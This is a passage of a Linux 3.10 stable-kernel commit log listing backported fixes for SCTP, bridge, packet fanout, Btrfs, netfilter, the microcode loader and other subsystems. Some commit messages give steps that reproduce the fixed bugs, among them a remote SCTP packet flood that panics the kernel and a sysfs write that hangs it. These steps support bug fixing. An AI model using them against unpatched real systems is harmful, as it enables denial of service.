7291a932c6e27d9768e374e9d648086636daf61c. The conversion to be16_add_cpu() is incorrect in case cryptlen is negative due to premature (i.e. before addition / subtraction) implicit conversion of cryptlen (int -> u16) leading to sign loss. Cc: Wei Yongjun Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9575fbdbb37aadfb3e1d886e1edb030fef77dc97 Author: Horia Geant? Date: Mon May 11 20:03:24 2015 +0300 crypto: talitos - avoid memleak in talitos_alg_alloc() commit 5fa7dadc898567ce14d6d6d427e7bd8ce6eb5d39 upstream. Fixes: 1d11911a8c57 ("crypto: talitos - fix warning: 'alg' may be used uninitialized in this function") Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1da87ba1e5111a2ba0e5d5a93ec9a2ef712c870 Author: Alexander Sverdlin Date: Mon Jun 29 10:41:03 2015 +0200 sctp: Fix race between OOTB responce and route removal [ Upstream commit 29c4afc4e98f4dc0ea9df22c631841f9c220b944 ] There is NULL pointer dereference possible during statistics update if the route used for OOTB responce is removed at unfortunate time. If the route exists when we receive OOTB packet and we finally jump into sctp_packet_transmit() to send ABORT, but in the meantime route is removed under our feet, we take "no_route" path and try to update stats with IP_INC_STATS(sock_net(asoc->base.sk), ...). But sctp_ootb_pkt_new() used to prepare responce packet doesn't call sctp_transport_set_owner() and therefore there is no asoc associated with this packet. Probably temporary asoc just for OOTB responces is overkill, so just introduce a check like in all other places in sctp_packet_transmit(), where "asoc" is dereferenced. To reproduce this, one needs to 0. ensure that sctp module is loaded (otherwise ABORT is not generated) 1. remove default route on the machine 2. while true; do ip route del [interface-specific route] ip route add [interface-specific route] done 3. send enough OOTB packets (i.e. HB REQs) from another host to trigger ABORT responce On x86_64 the crash looks like this: BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 IP: [] sctp_packet_transmit+0x63c/0x730 [sctp] PGD 0 Oops: 0000 [#1] PREEMPT SMP Modules linked in: ... CPU: 0 PID: 0 Comm: swapper/0 Tainted: G O 4.0.5-1-ARCH #1 Hardware name: ... task: ffffffff818124c0 ti: ffffffff81800000 task.ti: ffffffff81800000 RIP: 0010:[] [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP: 0018:ffff880127c037b8 EFLAGS: 00010296 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000015ff66b480 RDX: 00000015ff66b400 RSI: ffff880127c17200 RDI: ffff880123403700 RBP: ffff880127c03888 R08: 0000000000017200 R09: ffffffff814625af R10: ffffea00047e4680 R11: 00000000ffffff80 R12: ffff8800b0d38a28 R13: ffff8800b0d38a28 R14: ffff8800b3e88000 R15: ffffffffa05f24e0 FS: 0000000000000000(0000) GS:ffff880127c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000020 CR3: 00000000c855b000 CR4: 00000000000007f0 Stack: ffff880127c03910 ffff8800b0d38a28 ffffffff8189d240 ffff88011f91b400 ffff880127c03828 ffffffffa05c94c5 0000000000000000 ffff8800baa1c520 0000000000000000 0000000000000001 0000000000000000 0000000000000000 Call Trace: [] ? sctp_sf_tabort_8_4_8.isra.20+0x85/0x140 [sctp] [] ? sctp_transport_put+0x52/0x80 [sctp] [] sctp_do_sm+0xb8c/0x19a0 [sctp] [] ? trigger_load_balance+0x90/0x210 [] ? update_process_times+0x59/0x60 [] ? timerqueue_add+0x60/0xb0 [] ? enqueue_hrtimer+0x29/0xa0 [] ? read_tsc+0x9/0x10 [] ? put_page+0x55/0x60 [] ? clockevents_program_event+0x6d/0x100 [] ? skb_free_head+0x58/0x80 [] ? chksum_update+0x1b/0x27 [crc32c_generic] [] ? crypto_shash_update+0xce/0xf0 [] sctp_endpoint_bh_rcv+0x113/0x280 [sctp] [] sctp_inq_push+0x46/0x60 [sctp] [] sctp_rcv+0x880/0x910 [sctp] [] ? sctp_packet_transmit_chunk+0xb0/0xb0 [sctp] [] ? sctp_csum_update+0x20/0x20 [sctp] [] ? ip_route_input_noref+0x235/0xd30 [] ? ack_ioapic_level+0x7b/0x150 [] ip_local_deliver_finish+0xae/0x210 [] ip_local_deliver+0x35/0x90 [] ip_rcv_finish+0xf5/0x370 [] ip_rcv+0x2b8/0x3a0 [] __netif_receive_skb_core+0x763/0xa50 [] __netif_receive_skb+0x18/0x60 [] netif_receive_skb_internal+0x40/0xd0 [] napi_gro_receive+0xe8/0x120 [] rtl8169_poll+0x2da/0x660 [r8169] [] net_rx_action+0x21a/0x360 [] __do_softirq+0xe1/0x2d0 [] irq_exit+0xad/0xb0 [] do_IRQ+0x58/0xf0 [] common_interrupt+0x6d/0x6d [] ? hrtimer_start+0x18/0x20 [] ? sctp_transport_destroy_rcu+0x29/0x30 [sctp] [] ? mwait_idle+0x60/0xa0 [] arch_cpu_idle+0xf/0x20 [] cpu_startup_entry+0x3ec/0x480 [] rest_init+0x85/0x90 [] start_kernel+0x48b/0x4ac [] ? early_idt_handlers+0x120/0x120 [] x86_64_start_reservations+0x2a/0x2c [] x86_64_start_kernel+0x161/0x184 Code: 90 48 8b 80 b8 00 00 00 48 89 85 70 ff ff ff 48 83 bd 70 ff ff ff 00 0f 85 cd fa ff ff 48 89 df 31 db e8 18 63 e7 e0 48 8b 45 80 <48> 8b 40 20 48 8b 40 30 48 8b 80 68 01 00 00 65 48 ff 40 78 e9 RIP [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP CR2: 0000000000000020 ---[ end trace 5aec7fd2dc983574 ]--- Kernel panic - not syncing: Fatal exception in interrupt Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff) drm_kms_helper: panic occurred, switching back to text console ---[ end Kernel panic - not syncing: Fatal exception in interrupt Signed-off-by: Alexander Sverdlin Acked-by: Neil Horman Acked-by: Marcelo Ricardo Leitner Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6117ff4ac46e67a7d2727150127ceb3ec3c7c3c0 Author: Willem de Bruijn Date: Wed Jun 17 15:59:34 2015 -0400 packet: avoid out of bounds read in round robin fanout [ Upstream commit 468479e6043c84f5a65299cc07cb08a22a28c2b1 ] PACKET_FANOUT_LB computes f->rr_cur such that it is modulo f->num_members. It returns the old value unconditionally, but f->num_members may have changed since the last store. Ensure that the return value is always < num. When modifying the logic, simplify it further by replacing the loop with an unconditional atomic increment. Fixes: dc99f600698d ("packet: Add fanout support.") Suggested-by: Eric Dumazet Signed-off-by: Willem de Bruijn Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ee18e42b83ac4e887fa5557b8c37bc30b759f7a Author: Eric Dumazet Date: Tue Jun 16 07:59:11 2015 -0700 packet: read num_members once in packet_rcv_fanout() [ Upstream commit f98f4514d07871da7a113dd9e3e330743fd70ae4 ] We need to tell compiler it must not read f->num_members multiple times. Otherwise testing if num is not zero is flaky, and we could attempt an invalid divide by 0 in fanout_demux_cpu() Note bug was present in packet_rcv_fanout_hash() and packet_rcv_fanout_lb() but final 3.1 had a simple location after commit 95ec3eb417115fb ("packet: Add 'cpu' fanout policy.") Fixes: dc99f600698dc ("packet: Add fanout support.") Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9799bacd78772d5fde3394fcf963af3859d7b9a Author: Nikolay Aleksandrov Date: Mon Jun 15 20:28:51 2015 +0300 bridge: fix br_stp_set_bridge_priority race conditions [ Upstream commit 2dab80a8b486f02222a69daca6859519e05781d9 ] After the ->set() spinlocks were removed br_stp_set_bridge_priority was left running without any protection when used via sysfs. It can race with port add/del and could result in use-after-free cases and corrupted lists. Tested by running port add/del in a loop with stp enabled while setting priority in a loop, crashes are easily reproducible. The spinlocks around sysfs ->set() were removed in commit: 14f98f258f19 ("bridge: range check STP parameters") There's also a race condition in the netlink priority support that is fixed by this change, but it was introduced recently and the fixes tag covers it, just in case it's needed the commit is: af615762e972 ("bridge: add ageing_time, stp_state, priority over netlink") Signed-off-by: Nikolay Aleksandrov Fixes: 14f98f258f19 ("bridge: range check STP parameters") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44109249db38c9e3fa82be7ff82d43ae16d4675f Author: Nikolay Aleksandrov Date: Tue Jun 9 10:23:57 2015 -0700 bridge: fix multicast router rlist endless loop [ Upstream commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 ] Since the addition of sysfs multicast router support if one set multicast_router to "2" more than once, then the port would be added to the hlist every time and could end up linking to itself and thus causing an endless loop for rlist walkers. So to reproduce just do: echo 2 > multicast_router; echo 2 > multicast_router; in a bridge port and let some igmp traffic flow, for me it hangs up in br_multicast_flood(). Fix this by adding a check in br_multicast_add_router() if the port is already linked. The reason this didn't happen before the addition of multicast_router sysfs entries is because there's a !hlist_unhashed check that prevents it. Signed-off-by: Nikolay Aleksandrov Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries") Acked-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76e2931df415198f7cd54fce25da511bc7f28c08 Author: Sowmini Varadhan Date: Tue Apr 21 10:30:41 2015 -0400 sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in softirq context Upstream commit 671d773297969bebb1732e1cdc1ec03aa53c6be2 Since it is possible for vnet_event_napi to end up doing vnet_control_pkt_engine -> ... -> vnet_send_attr -> vnet_port_alloc_tx_ring -> ldc_alloc_exp_dring -> kzalloc() (i.e., in softirq context), kzalloc() should be called with GFP_ATOMIC from ldc_alloc_exp_dring. Signed-off-by: Sowmini Varadhan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d29f47ee6f5beccacaaf84d164ac860c2e29245c Author: Greg Kroah-Hartman Date: Fri Jul 3 19:48:19 2015 -0700 Linux 3.10.83 Signed-off-by: Pranav Vashi commit f6fbbb70a295cfbec431e2190c34b5997c8d9388 Author: Greg Ungerer Date: Mon Apr 14 15:47:01 2014 +0200 bus: mvebu: pass the coherency availability information at init time commit 5686a1e5aa436c49187a60052d5885fb1f541ce6 upstream. Until now, the mvebu-mbus was guessing by itself whether hardware I/O coherency was available or not by poking into the Device Tree to see if the coherency fabric Device Tree node was present or not. However, on some upcoming SoCs, the presence or absence of the coherency fabric DT node isn't sufficient: in CONFIG_SMP, the coherency can be enabled, but not in !CONFIG_SMP. In order to clean this up, the mvebu_mbus_dt_init() function is extended to get a boolean argument telling whether coherency is enabled or not. Therefore, the logic to decide whether coherency is available or not now belongs to the core SoC code instead of the mvebu-mbus driver itself, which is much better. Signed-off-by: Thomas Petazzoni Link: https://lkml.kernel.org/r/1397483228-25625-4-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper [ Greg Ungerer: back ported to linux-3.10.y Back port necessary due to large code differences in affected files. This change in combination with commit e553554536 ("ARM: mvebu: disable I/O coherency on non-SMP situations on Armada 370/375/38x/XP") is critical to the hardware I/O coherency being set correctly by both the mbus driver and all peripheral hardware drivers. Without this change drivers will incorrectly enable I/O coherency window attributes and this causes rare unreliable system behavior including oops. ] Signed-off-by: Greg Ungerer Acked-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc2b4cbff7becf1cb8a3d0905541dbf51b62cc73 Author: Bandan Das Date: Thu Jun 11 02:05:33 2015 -0400 KVM: nSVM: Check for NRIPS support before updating control field commit f104765b4f81fd74d69e0eb161e89096deade2db upstream. If hardware doesn't support DecodeAssist - a feature that provides more information about the intercept in the VMCB, KVM decodes the instruction and then updates the next_rip vmcb control field. However, NRIP support itself depends on cpuid Fn8000_000A_EDX[NRIPS]. Since skip_emulated_instruction() doesn't verify nrip support before accepting control.next_rip as valid, avoid writing this field if support isn't present. Signed-off-by: Bandan Das Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8454af3a74341e75b15003cbe0d65ed8e6ef1aa Author: Sebastien Szymanski Date: Wed May 20 16:30:37 2015 +0200 ARM: clk-imx6q: refine sata's parent commit da946aeaeadcd24ff0cda9984c6fb8ed2bfd462a upstream. According to IMX6D/Q RM, table 18-3, sata clock's parent is ahb, not ipg. Signed-off-by: Sebastien Szymanski Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo [dirk.behme: Adjust moved file] Signed-off-by: Dirk Behme Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f664cae4abf51d13bfea992ada3870a183d3990c Author: Jari Ruusu Date: Sat Jun 13 19:01:31 2015 +0300 d_walk() might skip too much When Al Viro's VFS deadlock fix "deal with deadlock in d_walk()" was backported to 3.10.y 3.4.y and 3.2.y stable kernel brances, the deadlock fix was copied to 3 different places. Later, a bug in that code was discovered. Al Viro's fix involved fixing only one part of code in mainline kernel. That fix is called "d_walk() might skip too much". 3.10.y 3.4.y and 3.2.y stable kernel brances need that later fix copied to 3 different places. Greg Kroah-Hartman included Al Viro's "d_walk() might skip too much" fix only once in 3.10.80 kernel, leaving 2 more places without a fix. The patch below was not written by me. I only applied Al Viro's "d_walk() might skip too much" fix 2 more times to 3.10.80 kernel, and cheched that the fixes went to correct places. With this patch applied, all 3 places that I am aware of 3.10.y stable branch are now fixed. Signed-off-by: Jari Ruusu Cc: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ca893f3878227d8b5b9a17f72b7389083ac6c33 Author: Michal KubeÄek Date: Thu Aug 1 10:04:24 2013 +0200 ipv6: update ip6_rt_last_gc every time GC is run commit 49a18d86f66d33a20144ecb5a34bba0d1856b260 upstream. As pointed out by Eric Dumazet, net->ipv6.ip6_rt_last_gc should hold the last time garbage collector was run so that we should update it whenever fib6_run_gc() calls fib6_clean_all(), not only if we got there from ip6_dst_gc(). Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Cc: Konstantin Khlebnikov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c5204e5e58f06073c2fb71ec6d2651b43cec912b Author: Michal KubeÄek Date: Thu Aug 1 10:04:14 2013 +0200 ipv6: prevent fib6_run_gc() contention commit 2ac3ac8f86f2fe065d746d9a9abaca867adec577 upstream. On a high-traffic router with many processors and many IPv6 dst entries, soft lockup in fib6_run_gc() can occur when number of entries reaches gc_thresh. This happens because fib6_run_gc() uses fib6_gc_lock to allow only one thread to run the garbage collector but ip6_dst_gc() doesn't update net->ipv6.ip6_rt_last_gc until fib6_run_gc() returns. On a system with many entries, this can take some time so that in the meantime, other threads pass the tests in ip6_dst_gc() (ip6_rt_last_gc is still not updated) and wait for the lock. They then have to run the garbage collector one after another which blocks them for quite long. Resolve this by replacing special value ~0UL of expire parameter to fib6_run_gc() by explicit "force" parameter to choose between spin_lock_bh() and spin_trylock_bh() and call fib6_run_gc() with force=false if gc_thresh is reached but not max_size. Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Cc: Konstantin Khlebnikov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 556cccd362f6a0d39a24cfdc2dad4b01bcdd6119 Author: Steffen Klassert Date: Fri Oct 25 10:21:32 2013 +0200 xfrm: Increase the garbage collector threshold commit eeb1b73378b560e00ff1da2ef09fed9254f4e128 upstream. With the removal of the routing cache, we lost the option to tweak the garbage collector threshold along with the maximum routing cache size. So git commit 703fb94ec ("xfrm: Fix the gc threshold value for ipv4") moved back to a static threshold. It turned out that the current threshold before we start garbage collecting is much to small for some workloads, so increase it from 1024 to 32768. This means that we start the garbage collector if we have more than 32768 dst entries in the system and refuse new allocations if we are above 65536. Reported-by: Wolfgang Walter Signed-off-by: Steffen Klassert Cc: Stephen Hemminger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fa20a6f9f2921f230fbdde1ea529c3a80745b231 Author: Filipe Manana Date: Sun Nov 9 08:38:39 2014 +0000 Btrfs: make xattr replace operations atomic commit 5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339 upstream. Replacing a xattr consists of doing a lookup for its existing value, delete the current value from the respective leaf, release the search path and then finally insert the new value. This leaves a time window where readers (getxattr, listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs, so this has security implications. This change also fixes 2 other existing issues which were: *) Deleting the old xattr value without verifying first if the new xattr will fit in the existing leaf item (in case multiple xattrs are packed in the same item due to name hash collision); *) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't exist but we have have an existing item that packs muliple xattrs with the same name hash as the input xattr. In this case we should return ENOSPC. A test case for xfstests follows soon. Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace implementation. Reported-by: Alexandre Oliva Signed-off-by: Filipe Manana Signed-off-by: Chris Mason [shengyong: backport to 3.10 - FIX: CVE-2014-9710 - adjust context - ASSERT() was added v3.12, so we do check with if statement - set the first parameter of btrfs_item_nr() as NULL, because it is not used, and is removed in v3.13 ] Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b84f93b512ced24e41ee96a86b72e9e0e4e8d00 Author: Quentin Casasnovas Date: Tue Feb 3 13:00:22 2015 +0100 x86/microcode/intel: Guard against stack overflow in the loader commit f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4 upstream. mc_saved_tmp is a static array allocated on the stack, we need to make sure mc_saved_count stays within its bounds, otherwise we're overflowing the stack in _save_mc(). A specially crafted microcode header could lead to a kernel crash or potentially kernel execution. Signed-off-by: Quentin Casasnovas Cc: "H. Peter Anvin" Cc: Fenghua Yu Link: http://lkml.kernel.org/r/1422964824-22056-1-git-send-email-quentin.casasnovas@oracle.com Signed-off-by: Borislav Petkov Signed-off-by: Jiri Slaby Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66e2ee55bae665b1956c699a3930d6d561c062f2 Author: Tomas Henzl Date: Fri Sep 12 14:44:15 2014 +0200 hpsa: add missing pci_set_master in kdump path commit 859c75aba20264d87dd026bab0d0ca3bff385955 upstream. Add a call to pci_set_master(...) missing in the previous patch "hpsa: refine the pci enable/disable handling". Found thanks to Rob Elliot. Signed-off-by: Tomas Henzl Reviewed-by: Robert Elliott Tested-by: Robert Elliott Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e970c0988fb04be7c64c56ab3a2b8daf8fc75a5 Author: Tomas Henzl Date: Thu Aug 14 16:12:39 2014 +0200 hpsa: refine the pci enable/disable handling commit 132aa220b45d60e9b20def1e9d8be9422eed9616 upstream. When a second(kdump) kernel starts and the hard reset method is used the driver calls pci_disable_device without previously enabling it, so the kernel shows a warning - [ 16.876248] WARNING: at drivers/pci/pci.c:1431 pci_disable_device+0x84/0x90() [ 16.882686] Device hpsa disabling already-disabled device ... This patch fixes it, in addition to this I tried to balance also some other pairs of enable/disable device in the driver. Unfortunately I wasn't able to verify the functionality for the case of a sw reset, because of a lack of proper hw. Signed-off-by: Tomas Henzl Reviewed-by: Stephen M. Cameron Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b0e75abd695ae88e5c9f3bea3cab24d634de2a5 Author: Jim Snow Date: Tue Nov 18 14:51:09 2014 +0100 sb_edac: Fix erroneous bytes->gigabytes conversion commit 8c009100295597f23978c224aec5751a365bc965 upstream. Signed-off-by: Jim Snow Signed-off-by: Lukasz Anaczkowski Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jiri Slaby Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1d4d57dfb7d1ae51b815c28e138d301047ed209f Author: Lv Zheng Date: Mon Apr 13 11:48:52 2015 +0800 ACPICA: Utilities: Cleanup to remove useless ACPI_PRINTF/FORMAT_xxx helpers. commit 1d0a0b2f6df2bf2643fadc990eb143361eca6ada upstream. ACPICA commit b60612373a4ef63b64a57c124576d7ddb6d8efb6 For physical addresses, since the address may exceed 32-bit address range after calculation, we should use 0x%8.8X%8.8X instead of ACPI_PRINTF_UINT and ACPI_FORMAT_UINT64() instead of ACPI_FORMAT_NATIVE_UINT()/ACPI_FORMAT_TO_UINT(). This patch also removes above replaced macros as there are no users. This is a preparation to switch acpi_physical_address to 64-bit on 32-bit kernel builds. Link: https://github.com/acpica/acpica/commit/b6061237 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme [gdavis: Move tbprint.c changes to tbutils.c due to lack of commit "42f4786 ACPICA: Split table print utilities to a new a separate file" in linux-3.10.y] Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37cfda6f7a405d5d7fe8d8ed5013ac52d0395473 Author: Lv Zheng Date: Mon Apr 13 11:48:46 2015 +0800 ACPICA: Utilities: Cleanup to convert physical address printing formats. commit cc2080b0e5a7c6c33ef5e9ffccbc2b8f6f861393 upstream. ACPICA commit 7f06739db43a85083a70371c14141008f20b2198 For physical addresses, since the address may exceed 32-bit address range after calculation, we should use %8.8X%8.8X (see ACPI_FORMAT_UINT64()) to convert the %p formats. This is a preparation to switch acpi_physical_address to 64-bit on 32-bit kernel builds. Link: https://github.com/acpica/acpica/commit/7f06739d Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme [gdavis: Move tbinstall.c changes to tbutils.c due to lack of commit "42f4786 ACPICA: Split table print utilities to a new a separate file" in linux-3.10.y] Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0cf3e267ea4bcac1a1d47a6711a0ef2a14828ed2 Author: Oleg Nesterov Date: Wed Sep 11 14:20:06 2013 -0700 include/linux/sched.h: don't use task->pid/tgid in same_thread_group/has_group_leader_pid commit e1403b8edf669ff49bbdf602cc97fefa2760cb15 upstream. task_struct->pid/tgid should go away. 1. Change same_thread_group() to use task->signal for comparison. 2. Change has_group_leader_pid(task) to compare task_pid(task) with signal->leader_pid. Signed-off-by: Oleg Nesterov Cc: Michal Hocko Cc: Sergey Dyasly Reviewed-by: "Eric W. Biederman" Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Peter Zijlstra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec7d8271b7cd764929be6cb9c5624287f38639b2 Author: Ian Wilson Date: Thu Mar 12 09:37:58 2015 +0000 netfilter: Zero the tuple in nfnl_cthelper_parse_tuple() commit 78146572b9cd20452da47951812f35b1ad4906be upstream. nfnl_cthelper_parse_tuple() is called from nfnl_cthelper_new(), nfnl_cthelper_get() and nfnl_cthelper_del(). In each case they pass a pointer to an nf_conntrack_tuple data structure local variable: struct nf_conntrack_tuple tuple; ... ret = nfnl_cthelper_parse_tuple(&tuple, tb[NFCTH_TUPLE]); The problem is that this local variable is not initialized, and nfnl_cthelper_parse_tuple() only initializes two fields: src.l3num and dst.protonum. This leaves all other fields with undefined values based on whatever is on the stack: tuple->src.l3num = ntohs(nla_get_be16(tb[NFCTH_TUPLE_L3PROTONUM])); tuple->dst.protonum = nla_get_u8(tb[NFCTH_TUPLE_L4PROTONUM]); The symptom observed was that when the rpc and tns helpers were added then traffic to port 1536 was being sent to user-space. Signed-off-by: Ian Wilson Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc8e0cc722a41a69b5bfa917030e06fb76e1b389 Author: Chen Gang Date: Wed Dec 24 23:04:54 2014 +0800 netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid warnings commit b18c5d15e8714336365d9d51782d5b53afa0443c upstream. The related code can be simplified, and also can avoid related warnings (with allmodconfig under parisc): CC [M] net/netfilter/nfnetlink_cthelper.o net/netfilter/nfnetlink_cthelper.c: In function ‘nfnl_cthelper_from_nlattr’: net/netfilter/nfnetlink_cthelper.c:97:9: warning: passing argument 1 o ‘memcpy’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-array-qualifiers] memcpy(&help->data, nla_data(attr), help->helper->data_len); ^ In file included from include/linux/string.h:17:0, from include/uapi/linux/uuid.h:25, from include/linux/uuid.h:23, from include/linux/mod_devicetable.h:12, from ./arch/parisc/include/asm/hardware.h:4, from ./arch/parisc/include/asm/processor.h:15, from ./arch/parisc/include/asm/spinlock.h:6, from ./arch/parisc/include/asm/atomic.h:21, from include/linux/atomic.h:4, from ./arch/parisc/include/asm/bitops.h:12, from include/linux/bitops.h:36, from include/linux/kernel.h:10, from include/linux/list.h:8, from include/linux/module.h:9, from net/netfilter/nfnetlink_cthelper.c:11: ./arch/parisc/include/asm/string.h:8:8: note: expected ‘void *’ but argument is of type ‘const char (*)[]’ void * memcpy(void * dest,const void *src,size_t count); ^ Signed-off-by: Chen Gang Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d547bbb51264000712c05c0aff1dea5ed348e055 Author: Konrad Rzeszutek Wilk Date: Fri Apr 17 15:04:48 2015 -0400 config: Enable NEED_DMA_MAP_STATE by default when SWIOTLB is selected commit a6dfa128ce5c414ab46b1d690f7a1b8decb8526d upstream. A huge amount of NIC drivers use the DMA API, however if compiled under 32-bit an very important part of the DMA API can be ommitted leading to the drivers not working at all (especially if used with 'swiotlb=force iommu=soft'). As Prashant Sreedharan explains it: "the driver [tg3] uses DEFINE_DMA_UNMAP_ADDR(), dma_unmap_addr_set() to keep a copy of the dma "mapping" and dma_unmap_addr() to get the "mapping" value. On most of the platforms this is a no-op, but ... with "iommu=soft and swiotlb=force" this house keeping is required, ... otherwise we pass 0 while calling pci_unmap_/pci_dma_sync_ instead of the DMA address." As such enable this even when using 32-bit kernels. Reported-by: Ian Jackson Signed-off-by: Konrad Rzeszutek Wilk Acked-by: David S. Miller Acked-by: Prashant Sreedharan Cc: Borislav Petkov Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Michael Chan Cc: Thomas Gleixner Cc: boris.ostrovsky@oracle.com Cc: cascardo@linux.vnet.ibm.com Cc: david.vrabel@citrix.com Cc: sanjeevb@broadcom.com Cc: siva.kallam@broadcom.com Cc: vyasevich@gmail.com Cc: xen-devel@lists.xensource.com Link: http://lkml.kernel.org/r/20150417190448.GA9462@l.oracle.com Signed-off-by: Ingo Molnar Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2064ef67d71363b5ad5818f5c465804cd9aab07e Author: Al Viro Date: Fri Oct 4 11:06:42 2013 -0400 get rid of s_files and files_lock commit eee5cc2702929fd41cce28058dc6d6717f723f87 upstream. The only thing we need it for is alt-sysrq-r (emergency remount r/o) and these days we can do just as well without going through the list of files. Signed-off-by: Al Viro [wangkai: backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad5edd86226f794e0c2491a62ed45d116dbecbcf Author: Oleg Nesterov Date: Mon Jul 8 14:24:16 2013 -0700 fput: turn "list_head delayed_fput_list" into llist_head commit 4f5e65a1cc90bbb15b9f6cdc362922af1bcc155a upstream. fput() and delayed_fput() can use llist and avoid the locking. This is unlikely path, it is not that this change can improve the performance, but this way the code looks simpler. Signed-off-by: Oleg Nesterov Suggested-by: Andrew Morton Cc: Al Viro Cc: Andrey Vagin Cc: "Eric W. Biederman" Cc: David Howells Cc: Huang Ying Cc: Peter Zijlstra Signed-off-by: Andrew Morton Signed-off-by: Al Viro Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2c47f95508f026a40e285ec2187512f24e960ab Author: Greg Kroah-Hartman Date: Mon Jun 29 12:08:45 2015 -0700 Linux 3.10.82 Signed-off-by: Pranav Vashi commit 4029a295f58a19a13f6093c7e8d6b6d1b8a9d4eb Author: James Smart Date: Wed May 7 17:16:46 2014 -0400 lpfc: Add iotag memory barrier commit 27f344eb15dd0da80ebec80c7245e8c85043f841 upstream. Add a memory barrier to ensure the valid bit is read before any of the cqe payload is read. This fixes an issue seen on Power where the cqe payload was getting loaded before the valid bit. When this occurred, we saw an iotag out of range error when a command completed, but since the iotag looked invalid the command didn't get completed to scsi core. Later we hit the command timeout, attempted to abort the command, then waited for the aborted command to get returned. Since the adapter already returned the command, we timeout waiting, and end up escalating EEH all the way to host reset. This patch fixes this issue. Signed-off-by: Brian King Signed-off-by: James Smart Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 004e79fbe02e91aad81041d98bc0bbe4c5fea15c Author: Adam Jackson Date: Mon Jun 15 16:16:15 2015 -0400 drm/mgag200: Reject non-character-cell-aligned mode widths commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream. Turns out 1366x768 does not in fact work on this hardware. Signed-off-by: Adam Jackson Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7db4c3af9df843cac26e5d2a94bdfa4208b4ecd0 Author: Steven Rostedt Date: Mon Jun 15 17:50:25 2015 -0400 tracing: Have filter check for balanced ops commit 2cf30dc180cea808077f003c5116388183e54f9e upstream. When the following filter is used it causes a warning to trigger: # cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > 